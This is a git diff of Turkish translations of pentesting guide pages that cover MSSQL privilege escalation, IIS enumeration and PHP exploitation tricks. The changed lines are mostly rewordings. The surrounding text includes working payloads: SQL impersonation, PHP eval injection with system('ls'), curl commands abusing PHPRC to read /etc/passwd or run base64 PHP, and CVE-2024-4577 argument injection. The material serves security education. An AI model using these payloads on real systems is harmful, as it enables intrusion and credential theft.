betikler](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql) bulunmaktadır. ## MSSQL Yetki Yükseltme ### db_owner'dan sysadmin'e -Eğer bir **normal kullanıcı** **`sa`** gibi bir **admin** kullanıcısına ait **veritabanı** üzerinde **`db_owner`** rolü verilirse ve o veritabanı **`trustworthy`** olarak yapılandırılmışsa, o kullanıcı bu ayrıcalıkları **privesc** için kötüye kullanabilir çünkü orada oluşturulan **saklı yordamlar** sahibi (**admin**) olarak **çalıştırılabilir**. +Eğer bir **normal kullanıcı** **admin** kullanıcısına ait **veritabanı** üzerinde **`db_owner`** rolü verilirse (örneğin **`sa`**) ve o veritabanı **`trustworthy`** olarak yapılandırılmışsa, o kullanıcı bu ayrıcalıkları **privesc** için kötüye kullanabilir çünkü orada oluşturulan **saklı yordamlar** sahibi (**admin**) olarak **çalıştırılabilir**. ```sql # Get owners of databases SELECT suser_sname(owner_sid) FROM sys.databases @@ -484,7 +484,7 @@ Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlSer ``` ### Diğer kullanıcıların taklit edilmesi -SQL Server, **`IMPERSONATE`** adında özel bir izin sunar, bu izin **çalıştıran kullanıcının başka bir kullanıcının** veya oturum açmanın izinlerini almasına **imkan tanır**; bu durum, bağlam sıfırlanana kadar veya oturum sona erene kadar devam eder. +SQL Server, **`IMPERSONATE`** adında özel bir izin sunar; bu izin, **işlem yapan kullanıcının başka bir kullanıcının** veya oturum açma bilgisinin izinlerini almasına **imkan tanır**. Bu, bağlam sıfırlanana veya oturum sona erene kadar geçerlidir. ```sql # Find users you can impersonate SELECT distinct b.name @@ -505,9 +505,9 @@ enum_links use_link [NAME] ``` > [!NOTE] -> Eğer bir kullanıcıyı taklit edebiliyorsanız, hatta sysadmin değilse bile, **kullanıcının diğer** **veritabanlarına** veya bağlı sunuculara **erişimi olup olmadığını** kontrol etmelisiniz. +> Eğer bir kullanıcıyı taklit edebiliyorsanız, hatta sysadmin olmasa bile, **kullanıcının diğer** **veritabanlarına** veya bağlı sunuculara erişimi olup olmadığını kontrol etmelisiniz. -Unutmayın ki bir kez sysadmin olduğunuzda, başka birini taklit edebilirsiniz: +Sysadmin olduğunuzda, başka birini taklit edebileceğinizi unutmayın: ```sql -- Impersonate RegUser EXECUTE AS LOGIN = 'RegUser' @@ -531,11 +531,11 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse [https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/) -## SQL Server Bağlı Sunuculardan Parola Çıkarma +## SQL Server Bağlı Sunuculardan Şifreleri Çıkarma -Bir saldırgan, SQL Server Bağlı Sunucularının parolalarını SQL Örneklerinden çıkarabilir ve bunları düz metin olarak elde edebilir, bu da saldırgana hedef üzerinde daha büyük bir hakimiyet sağlamak için kullanılabilecek parolalar verir. Bağlı Sunucular için saklanan parolaları çıkarmak ve şifrelerini çözmek için gereken script [burada](https://www.richardswinbank.net/admin/extract_linked_server_passwords) bulunabilir. +Bir saldırgan, SQL Server Bağlı Sunucularının şifrelerini SQL Örneklerinden çıkarabilir ve bunları düz metin olarak elde edebilir, bu da saldırgana hedef üzerinde daha büyük bir hakimiyet sağlamak için kullanılabilecek şifreler verir. Bağlı Sunucular için saklanan şifreleri çıkarmak ve şifrelerini çözmek için gereken script [burada](https://www.richardswinbank.net/admin/extract_linked_server_passwords) bulunabilir. -Bu istismarın çalışması için bazı gereksinimler ve yapılandırmalar yapılmalıdır. Öncelikle, makinede Yönetici haklarına sahip olmalısınız veya SQL Server Yapılandırmalarını yönetme yeteneğine sahip olmalısınız. +Bu istismar için bazı gereksinimler ve yapılandırmalar yapılmalıdır. Öncelikle, makinede Yönetici haklarına sahip olmalısınız veya SQL Server Yapılandırmalarını yönetme yeteneğine sahip olmalısınız. İzinlerinizi doğruladıktan sonra, aşağıdaki üç şeyi yapılandırmanız gerekir: @@ -543,9 +543,9 @@ Bu istismarın çalışması için bazı gereksinimler ve yapılandırmalar yap 2. Bir Başlangıç parametresi ekleyin, bu durumda bir izleme bayrağı eklenecektir, bu -T7806'dır. 3. Uzaktan yönetici bağlantısını etkinleştirin. -Bu yapılandırmaları otomatikleştirmek için, [bu depo](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) gerekli scriptleri içermektedir. Her yapılandırma adımı için bir powershell scriptinin yanı sıra, depo ayrıca yapılandırma scriptlerini ve parolaların çıkarılması ve şifrelerinin çözülmesini birleştiren tam bir script de içermektedir. +Bu yapılandırmaları otomatikleştirmek için, [bu depo](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) gerekli scriptleri içermektedir. Her yapılandırma adımı için bir powershell scriptinin yanı sıra, depo ayrıca yapılandırma scriptlerini ve şifrelerin çıkarılması ve şifrelerinin çözülmesini birleştiren tam bir script de içermektedir. -Daha fazla bilgi için, bu saldırı ile ilgili aşağıdaki bağlantılara başvurun: [MSSQL Veritabanı Bağlantı Sunucusu Parolalarını Şifre Çözme](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) +Daha fazla bilgi için, bu saldırı ile ilgili aşağıdaki bağlantılara bakın: [MSSQL Veritabanı Bağlantı Sunucusu Şifrelerini Çözme](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) [SQL Server Özel Yönetici Bağlantısını Hata Ayıklama](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) diff --git a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md index 82b947a24..3d72d68d3 100644 --- a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md +++ b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md @@ -11,7 +11,7 @@ Test edilebilir dosya uzantıları: ## Dahili IP Adresi ifşası -302 aldığınız herhangi bir IIS sunucusunda, Host başlığını kaldırmayı ve HTTP/1.0 kullanmayı deneyebilirsiniz ve yanıtın içinde Location başlığı size dahili IP adresini gösterebilir: +302 aldığınız herhangi bir IIS sunucusunda, Host başlığını kaldırmayı deneyebilir ve HTTP/1.0 kullanabilirsiniz; yanıtta Location başlığı size dahili IP adresini gösterebilir: ``` nc -v domain.com 80 openssl s_client -connect domain.com:443 @@ -29,19 +29,19 @@ X-FEServer: NHEXCHANGE2016 ``` ## .config dosyalarını çalıştırma -.config dosyalarını yükleyebilir ve bunları kod çalıştırmak için kullanabilirsiniz. Bunu yapmanın bir yolu, dosyanın sonuna bir HTML yorumu içinde kod eklemektir: [Örnek indirin](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config) +.config dosyalarını yükleyebilir ve bunları kod çalıştırmak için kullanabilirsiniz. Bunu yapmanın bir yolu, dosyanın sonuna bir HTML yorumu içinde kod eklemektir: [Örneği buradan indirin](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config) -Bu güvenlik açığını istismar etmek için daha fazla bilgi ve teknikler [burada](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/) +Bu güvenlik açığını istismar etmek için daha fazla bilgi ve teknikler [burada](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/) bulunmaktadır. ## IIS Keşif Bruteforce -Oluşturduğum listeyi indirin: +Benim oluşturduğum listeyi indirin: {{#file}} iisfinal.txt {{#endfile}} -Aşağıdaki listelerin içeriklerini birleştirerek oluşturuldu: +Bu, aşağıdaki listelerin içeriklerini birleştirerek oluşturulmuştur: [https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\ [http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\ @@ -59,9 +59,9 @@ Bunu herhangi bir uzantı eklemeden kullanın, gerekli olan dosyalar zaten buna Tam yazımı kontrol edin: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html) > [!NOTE] -> Özetle, uygulamanın klasörlerinde "**assemblyIdentity**" dosyalarına ve "**namespaces**" referanslarına sahip birkaç web.config dosyası bulunmaktadır. Bu bilgilerle **yürütülebilir dosyaların nerede bulunduğunu** bilmek ve bunları indirmek mümkündür.\ -> **İndirilen Dll'lerden** ayrıca **yeni namespace'ler** bulmak ve yeni namespace'ler ve assemblyIdentity bulmak için web.config dosyasına erişmeye çalışmak mümkündür.\ -> Ayrıca, **connectionstrings.config** ve **global.asax** dosyaları ilginç bilgiler içerebilir.\\ +> Özetle, uygulamanın klasörlerinde "**assemblyIdentity**" dosyalarına ve "**namespaces**" referanslarına sahip birkaç web.config dosyası bulunmaktadır. Bu bilgilerle **çalıştırılabilir dosyaların nerede bulunduğunu** bilmek ve bunları indirmek mümkündür.\ +> **İndirilen Dll'lerden** yeni **namespaces** bulmak ve web.config dosyasına erişmek için denemeler yapabilirsiniz.\ +> Ayrıca, **connectionstrings.config** ve **global.asax** dosyaları ilginç bilgiler içerebilir. **.Net MVC uygulamalarında**, **web.config** dosyası, uygulamanın bağımlı olduğu her ikili dosyayı **"assemblyIdentity"** XML etiketleri aracılığıyla belirterek kritik bir rol oynar. @@ -102,9 +102,9 @@ Host: example-mvc-application.minded ``` Bu, /bin dizininde **System.Web.Mvc.dll** ve **System.Web.Optimization.dll** gibi diğer önemli DLL'lerin varlığını önerir. -Bir DLL'nin **WebApplication1.Areas.Minded** adlı bir ad alanını içe aktardığı bir senaryoda, bir saldırgan, /bin klasöründeki diğer DLL'lere özel yapılandırmalar ve referanslar içeren, **/area-name/Views/** gibi öngörülebilir yollarda başka web.config dosyalarının varlığını çıkarabilir. Örneğin, **/Minded/Views/web.config** için bir istek, başka bir DLL'nin varlığını gösteren yapılandırmaları ve ad alanlarını açığa çıkarabilir, bu DLL **WebApplication1.AdditionalFeatures.dll** olabilir. +Bir DLL'nin **WebApplication1.Areas.Minded** adlı bir ad alanını içe aktardığı bir senaryoda, bir saldırgan, /bin klasöründeki diğer DLL'lere özel yapılandırmalar ve referanslar içeren, **/area-name/Views/** gibi öngörülebilir yollarda başka web.config dosyalarının varlığını çıkarabilir. Örneğin, **/Minded/Views/web.config** için bir istek, başka bir DLL'nin varlığını gösteren yapılandırmaları ve ad alanlarını açığa çıkarabilir, **WebApplication1.AdditionalFeatures.dll**. -### Yaygın dosyalar +### Ortak dosyalar From [here](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/) ``` @@ -187,17 +187,17 @@ C:\xampp\tomcat\conf\server.xml Aşağıdaki gibi bir hata görüyorsanız: -![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>) +![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>) Bu, sunucunun **Host başlığı içinde doğru alan adını almadığı** anlamına gelir.\ Web sayfasına erişmek için sunulan **SSL Sertifikasına** bakabilir ve belki orada alan/ad alanı adını bulabilirsiniz. Eğer orada yoksa, doğru olanı bulana kadar **VHosts'ü brute force** yapmanız gerekebilir. -## Bakılması gereken eski IIS zafiyetleri +## İncelenmesi gereken Eski IIS zafiyetleri -### Microsoft IIS tilde karakteri “\~” Zafiyeti/Özelliği – Kısa Dosya/Klasör Adı Sızdırma +### Microsoft IIS tilde karakteri “\~” Zafiyeti/Özelliği – Kısa Dosya/Klasör Adı Sızıntısı Bu **teknik** ile her keşfedilen klasörün içinde **klasörleri ve dosyaları listelemeyi** deneyebilirsiniz (temel kimlik doğrulama gerektirse bile).\ -Bu tekniğin ana sınırlaması, sunucu zayıfsa, **her dosya/klasörün adının ilk 6 harfini ve dosyaların uzantısının ilk 3 harfini** bulabilmesidir. +Bu tekniğin ana sınırlaması, sunucu zayıfsa, **her dosya/klasörün adının ilk 6 harfini ve dosyaların uzantısının ilk 3 harfini bulabilmesidir**. Bu zafiyeti test etmek için [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) kullanabilirsiniz:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/` @@ -236,7 +236,7 @@ ASPXAUTH aşağıdaki bilgileri kullanır: - **`decryptionIV`** (string): hex kodlu başlatma vektörü (varsayılan sıfır vektörüdür). - **`decryptionKey`** (string): şifreleme için kullanılacak hex kodlu anahtar. -Ancak, bazı insanlar bu parametrelerin **varsayılan değerlerini** kullanacak ve **kullanıcının e-posta adresini çerez olarak** kullanacaktır. Bu nedenle, ASPXAUTH çerezini kullanan **aynı platformda** bir web bulabilirseniz ve saldırı altındaki sunucuda **taklit etmek istediğiniz kullanıcının e-posta adresiyle bir kullanıcı oluşturursanız**, **ikinci sunucudan çerezi birincisinde kullanarak** kullanıcıyı taklit edebilirsiniz.\ +Ancak, bazı insanlar bu parametrelerin **varsayılan değerlerini** kullanacak ve **kullanıcının e-posta adresini çerez olarak** kullanacaktır. Bu nedenle, ASPXAUTH çerezini kullanan **aynı platformda** bir web bulabilirseniz ve saldırı altındaki sunucuda **taklit etmek istediğiniz kullanıcının e-posta adresiyle bir kullanıcı oluşturursanız**, **ikinci sunucudan çerezi birincisinde kullanabilir** ve kullanıcıyı taklit edebilirsiniz.\ Bu saldırı bu [**yazıda**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19) çalıştı. ## Önbelleğe alınmış şifrelerle IIS Kimlik Doğrulama Atlatma (CVE-2022-30209) diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index 96c70f112..ecef9b80d 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -22,7 +22,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e ### Gevşek karşılaştırmalar/Tür Karıştırma ( == ) -Eğer `==` PHP'de kullanılıyorsa, beklenmedik durumlar ortaya çıkabilir ve karşılaştırma beklenildiği gibi davranmayabilir. Bunun nedeni, "==" yalnızca aynı türe dönüştürülmüş değerleri karşılaştırmasıdır; eğer karşılaştırılan verilerin türünün de aynı olmasını istiyorsanız `===` kullanmalısınız. +Eğer `==` PHP'de kullanılıyorsa, beklenmedik durumlar ortaya çıkabilir ve karşılaştırma beklenildiği gibi davranmayabilir. Bunun nedeni, "==" sadece aynı türe dönüştürülmüş değerleri karşılaştırmasıdır; eğer karşılaştırılan verilerin türünün de aynı olmasını istiyorsanız `===` kullanmalısınız. PHP karşılaştırma tabloları: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php) @@ -53,7 +53,7 @@ var_dump(in_array(0, $values, true)); ``` ### strcmp()/strcasecmp() -Eğer bu fonksiyon **herhangi bir kimlik doğrulama kontrolü** (şifre kontrolü gibi) için kullanılıyorsa ve kullanıcı karşılaştırmanın bir tarafını kontrol ediyorsa, şifre değeri olarak bir dizi yerine boş bir dizi gönderebilir (`https://example.com/login.php/?username=admin&password[]=`) ve bu kontrolü atlayabilir: +Eğer bu fonksiyon **herhangi bir kimlik doğrulama kontrolü** için kullanılıyorsa (şifre kontrolü gibi) ve kullanıcı karşılaştırmanın bir tarafını kontrol ediyorsa, şifre değeri olarak bir dize yerine boş bir dizi gönderebilir (`https://example.com/login.php/?username=admin&password[]=`) ve bu kontrolü atlayabilir: ```php if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; } // Real Password @@ -70,11 +70,11 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real ``` ### preg_match(/^.\*/) -**`preg_match()`** kullanıcı girişi **doğrulamak** için kullanılabilir (bu, bir **kara liste**deki herhangi bir **kelime/regex**'in **kullanıcı girişi**nde **bulunup bulunmadığını** kontrol eder ve eğer yoksa, kodun çalışmasına devam edebilir). +**`preg_match()`** kullanıcı girişini **doğrulamak** için kullanılabilir (bu, **kullanıcı girişinde** herhangi bir **kelime/regex**'in **kara liste**de olup olmadığını **kontrol eder** ve eğer yoksa, kod çalışmaya devam edebilir). #### Yeni satır atlatma -Ancak, regexp'yi sınırlarken `preg_match()` **yalnızca kullanıcı girişinin ilk satırını kontrol eder**, bu nedenle eğer bir şekilde girişi **birden fazla satırda** **gönderebilirseniz**, bu kontrolü atlatabilirsiniz. Örnek: +Ancak, regexp'in başlangıcını belirlerken `preg_match()` **kullanıcı girişinin sadece ilk satırını kontrol eder**, bu nedenle eğer bir şekilde girişi **birden fazla satırda** **gönderebilirseniz**, bu kontrolü atlatabilirsiniz. Örnek: ```php $myinput="aaaaaaa 11111111"; //Notice the new line @@ -98,7 +98,7 @@ Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ram #### **Uzunluk hatası atlatma** (Bu atlatma, görünüşe göre PHP 5.2.5 üzerinde denendi ve PHP 7.3.15 üzerinde çalıştırmayı başaramadım)\ -Eğer `preg_match()`'e geçerli çok **büyük bir girdi** gönderebilirseniz, **işleyemeyecek** ve kontrolü **atlatabileceksiniz**. Örneğin, eğer bir JSON'u kara listeye alıyorsa, şunu gönderebilirsiniz: +Eğer `preg_match()` fonksiyonuna geçerli çok **büyük bir girdi** gönderebilirseniz, **işleyemeyecek** ve kontrolü **atlatabileceksiniz**. Örneğin, eğer bir JSON'u kara listeye alıyorsa, şunu gönderebilirsiniz: ```bash payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}' ``` @@ -110,10 +110,10 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
-Kısacası, sorun PHP'deki `preg_*` fonksiyonlarının [PCRE kütüphanesi](http://www.pcre.org/) üzerine inşa edilmesinden kaynaklanıyor. PCRE'de belirli düzenli ifadeler, çok sayıda özyinelemeli çağrı kullanılarak eşleştirilir, bu da çok fazla yığın alanı kullanır. İzin verilen özyineleme sayısı için bir sınır belirlemek mümkündür, ancak PHP'de bu sınır [varsayılan olarak 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) olup, bu yığa sığacak olandan fazladır. +Kısacası, sorun PHP'deki `preg_*` fonksiyonlarının [PCRE kütüphanesi](http://www.pcre.org/) üzerine inşa edilmesinden kaynaklanıyor. PCRE'de belirli düzenli ifadeler, çok sayıda özyinelemeli çağrı kullanılarak eşleştirilir, bu da çok fazla yığın alanı kullanır. İzin verilen özyineleme sayısı için bir sınır belirlemek mümkündür, ancak PHP'de bu sınır [varsayılan olarak 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) olup, bu yığının içine sığacak olandan fazladır. [Bu Stackoverflow başlığı](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) da bu konunun daha derinlemesine tartışıldığı gönderide bağlantılıydı. Görevimiz artık netti:\ -**Regex'in 100_000+ özyineleme yapmasını sağlayacak bir girdi gönderin, bu da SIGSEGV'ye neden olacak, `preg_match()` fonksiyonunun `false` döndürmesini sağlayacak ve böylece uygulamanın girdimizin kötü niyetli olmadığını düşünmesine neden olacak, yükün sonunda `{system()}` gibi bir sürpriz atarak SSTI --> RCE --> flag :)**. +**Regex'in 100_000+ özyineleme yapmasını sağlayacak bir girdi gönderin, bu da SIGSEGV'ye neden olacak, `preg_match()` fonksiyonunun `false` döndürmesini sağlayacak ve böylece uygulama girdimizin zararlı olmadığını düşünecek, yükün sonunda `{system()}` gibi bir sürpriz atarak SSTI --> RCE --> flag :)**. Regex terimleriyle, aslında 100k "özyineleme" yapmıyoruz, bunun yerine "geri izleme adımlarını" sayıyoruz, ki bu da [PHP belgelerine](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) göre `pcre.backtrack_limit` değişkeninde varsayılan olarak 1_000_000 (1M) olarak ayarlanmıştır.\ Buna ulaşmak için, `'X'*500_001` 1 milyon geri izleme adımına (500k ileri ve 500k geri) yol açacaktır: @@ -153,16 +153,16 @@ Kontrol et: ## Daha Fazla Hile -- **register_globals**: **PHP < 4.1.1.1** veya yanlış yapılandırılmışsa, **register_globals** aktif olabilir (veya davranışları taklit ediliyor olabilir). Bu, $\_GET gibi global değişkenlerde bir değer varsa örneğin $\_GET\["param"]="1234", **$param** aracılığıyla erişebileceğiniz anlamına gelir. Bu nedenle, HTTP parametreleri göndererek kod içinde kullanılan değişkenleri **üzerine yazabilirsiniz**. -- **Aynı alanın PHPSESSION çerezleri aynı yerde saklanır**, bu nedenle bir alanda **farklı çerezler farklı yollarla kullanılıyorsa**, bir yolun **diğer yolun çerezine erişmesini** sağlayabilirsiniz ve diğer yolun çerezinin değerini ayarlayabilirsiniz.\ -Bu şekilde, eğer **her iki yol da aynı isimde bir değişkene erişiyorsa**, **o değişkenin path1'deki değeri path2'ye uygulanabilir**. Ve ardından path2, path1'in değişkenlerini geçerli olarak alacaktır (çereze path2'deki karşılık gelen ismi vererek). +- **register_globals**: **PHP < 4.1.1.1**'de veya yanlış yapılandırıldığında, **register_globals** aktif olabilir (veya davranışları taklit ediliyor olabilir). Bu, $\_GET gibi global değişkenlerde bir değer varsa örneğin $\_GET\["param"]="1234", **$param** aracılığıyla erişebileceğiniz anlamına gelir. Bu nedenle, HTTP parametreleri göndererek kod içinde kullanılan değişkenleri **üzerine yazabilirsiniz**. +- **Aynı alanın PHPSESSION çerezleri aynı yerde saklanır**, bu nedenle bir alanda **farklı çerezler farklı yollarla kullanılıyorsa**, bir yolu **diğer yolun çerezine erişecek şekilde ayarlayabilirsiniz**.\ +Bu şekilde, **her iki yol da aynı isimde bir değişkene erişirse**, **o değişkenin path1'deki değeri path2'ye uygulanabilir**. Ve ardından path2, path1'in değişkenlerini geçerli olarak alacaktır (çereze path2'deki karşılık gelen ismi vererek). - Makinenin kullanıcılarının **kullanıcı adlarını** aldığınızda, php dizinlerinin etkin olup olmadığını kontrol etmek için adresi kontrol edin: **/\~\**. - [**LFI ve RCE php sarmalayıcıları kullanarak**](../../../pentesting-web/file-inclusion/index.html) ### password_hash/password_verify Bu fonksiyonlar genellikle PHP'de **şifrelerden hash oluşturmak** ve bir şifrenin bir hash ile karşılaştırıldığında **doğru olup olmadığını kontrol etmek** için kullanılır.\ -Desteklenen algoritmalar: `PASSWORD_DEFAULT` ve `PASSWORD_BCRYPT` ( `$2y$` ile başlar). **PASSWORD_DEFAULT genellikle PASSWORD_BCRYPT ile aynı olduğunu** unutmayın. Ve şu anda, **PASSWORD_BCRYPT**'in **girişte 72baytlık bir boyut sınırlaması** vardır. Bu nedenle, bu algoritma ile 72bayttan daha büyük bir şeyi hashlemeye çalıştığınızda yalnızca ilk 72B kullanılacaktır: +Desteklenen algoritmalar: `PASSWORD_DEFAULT` ve `PASSWORD_BCRYPT` ( `$2y$` ile başlar). **PASSWORD_DEFAULT genellikle PASSWORD_BCRYPT ile aynı olduğunu** unutmayın. Ve şu anda, **PASSWORD_BCRYPT**'in **girdi için 72baytlık bir boyut sınırlaması** vardır. Bu nedenle, bu algoritma ile 72bayttan daha büyük bir şeyi hashlemeye çalıştığınızda yalnızca ilk 72B kullanılacaktır: ```php $cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW False @@ -174,9 +174,9 @@ True #### Başlıkları ayarladıktan sonra hata oluşturma -[**bu twitter dizisinde**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) 1000'den fazla GET parametresi veya 1000'den fazla POST parametresi veya 20 dosya gönderildiğinde, PHP'nin yanıtta başlıkları ayarlamayacağını görebilirsiniz. +[**bu twitter dizisinde**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) 1000'den fazla GET parametresi veya 1000'den fazla POST parametresi veya 20 dosya gönderildiğinde, PHOP'un yanıtında başlıkları ayarlamayacağını görebilirsiniz. -Bu, örneğin CSP başlıklarının kodlarda ayarlanmasını atlatmaya olanak tanır: +Bu, örneğin, kodlarda ayarlanan CSP başlıklarının atlatılmasına izin verir: ```php ) ## PHP fonksiyonlarında SSRF -Sayfayı kontrol edin: +Sayfayı kontrol et: {{#ref}} php-ssrf.md @@ -200,7 +200,7 @@ php-ssrf.md ## Kod yürütme **system("ls");**\ -&#xNAN;**\`ls\`;**\ +**\`ls\`;**\ **shell_exec("ls");** [Daha yararlı PHP fonksiyonları için bunu kontrol edin](php-useful-functions-disable_functions-open_basedir-bypass/index.html) @@ -228,7 +228,7 @@ php içindeki bu fonksiyon, **bir dize içinde yazılmış kodu çalıştırman ``` ?page=a','NeVeR') === false and system('ls') and strpos('a ``` -Kod **sözdizimini** **bozmanız**, **yüklemenizi** **eklemeniz** ve sonra **tekrar düzeltmeniz** gerekecek. **"and" veya "%26%26" veya "|"** gibi **mantıksal işlemler** kullanabilirsiniz. "or", "||" çalışmaz çünkü ilk koşul doğruysa yüklemeniz çalışmayacaktır. Aynı şekilde ";" de çalışmaz çünkü yüklemeniz çalışmayacaktır. +Kod **sözdizimini** **bozmanız**, **yüklemenizi** **eklemeniz** ve sonra **tekrar düzeltmeniz** gerekecek. **"and" veya "%26%26" veya "|"** gibi **mantıksal işlemler** kullanabilirsiniz. "or", "||" çalışmaz çünkü ilk koşul doğruysa yüklemeniz çalışmayacaktır. Aynı şekilde ";" çalışmaz çünkü yüklemeniz çalışmayacaktır. **Diğer bir seçenek**, dizeye komutun yürütülmesini eklemektir: `'.highlight_file('.passwd').'` @@ -282,7 +282,7 @@ Eğer PHP'de **env değişkenlerini değiştirmeye** izin veren bir güvenlik a 3. `PHPRC` değişkenini adım 2'de yüklediğimiz dosyaya ayarlayın. - Bu zinciri nasıl çalıştıracağınız hakkında daha fazla bilgi [**orijinal rapordan**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/) edinebilirsiniz. - **PHPRC** - başka bir seçenek -- Eğer **dosya yükleyemezseniz**, FreeBSD'de **`stdin`**'i içeren "file" `/dev/fd/0` kullanabilirsiniz: +- Eğer **dosya yükleyemiyorsanız**, FreeBSD'de **`stdin`**'i içeren "file" `/dev/fd/0` kullanabilirsiniz: - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'` - Ya da RCE elde etmek için **`allow_url_include`**'yi etkinleştirip **base64 PHP kodu** ile bir dosya ekleyin: - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'` @@ -290,7 +290,7 @@ Eğer PHP'de **env değişkenlerini değiştirmeye** izin veren bir güvenlik a ### XAMPP CGI RCE - CVE-2024-4577 -Web sunucusu HTTP isteklerini ayrıştırır ve bunları `php.exe cgi.php foo=bar` gibi bir isteği çalıştıran bir PHP betiğine iletir, bu da parametre enjeksiyonuna izin verir. Bu, gövde içindeki PHP kodunu yüklemek için aşağıdaki parametreleri enjekte etmeye izin verecektir: +Web sunucusu HTTP isteklerini ayrıştırır ve bunları `php.exe cgi.php foo=bar` gibi bir isteği çalıştıran bir PHP betiğine iletir, bu da bir parametre enjeksiyonuna izin verir. Bu, gövde içindeki PHP kodunu yüklemek için aşağıdaki parametreleri enjekte etmeye olanak tanır: ```jsx -d allow_url_include=1 -d auto_prepend_file=php://input ``` @@ -318,7 +318,7 @@ Ayrıca, birkaç kontrolü atlamalarına izin veren fonksiyonları çalıştırm ``` ## PHP Statik analizi -Bu fonksiyonlara yapılan çağrılarda kod ekleyip ekleyemeyeceğinizi kontrol edin (buradan): +Bu fonksiyonlara yapılan çağrılarda kod ekleyip ekleyemeyeceğinizi kontrol edin (buradan): [here](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be) ```php exec, shell_exec, system, passthru, eval, popen unserialize, include, file_put_cotents @@ -350,7 +350,7 @@ echo "${Da}"; //Drums echo "$x ${$x}"; //Da Drums echo "$x ${Da}"; //Da Drums ``` -## RCE kötüye kullanımı yeni $\_GET\["a"]\($\_GET\["b") +## RCE kötüye kullanımı yeni $\_GET\["a"]\($\_GET\["b"]) Eğer bir sayfada **rastgele bir sınıfın yeni bir nesnesini oluşturabiliyorsanız** RCE elde etme şansınız olabilir, nasıl yapılacağını öğrenmek için aşağıdaki sayfayı kontrol edin: diff --git a/src/network-services-pentesting/pentesting-web/put-method-webdav.md b/src/network-services-pentesting/pentesting-web/put-method-webdav.md index 24c6f1513..57b77e0d0 100644 --- a/src/network-services-pentesting/pentesting-web/put-method-webdav.md +++ b/src/network-services-pentesting/pentesting-web/put-method-webdav.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -**WebDav** etkin bir **HTTP Sunucusu** ile çalışırken, doğru **kimlik bilgilerine** sahip olduğunuzda **dosyaları manipüle etmek** 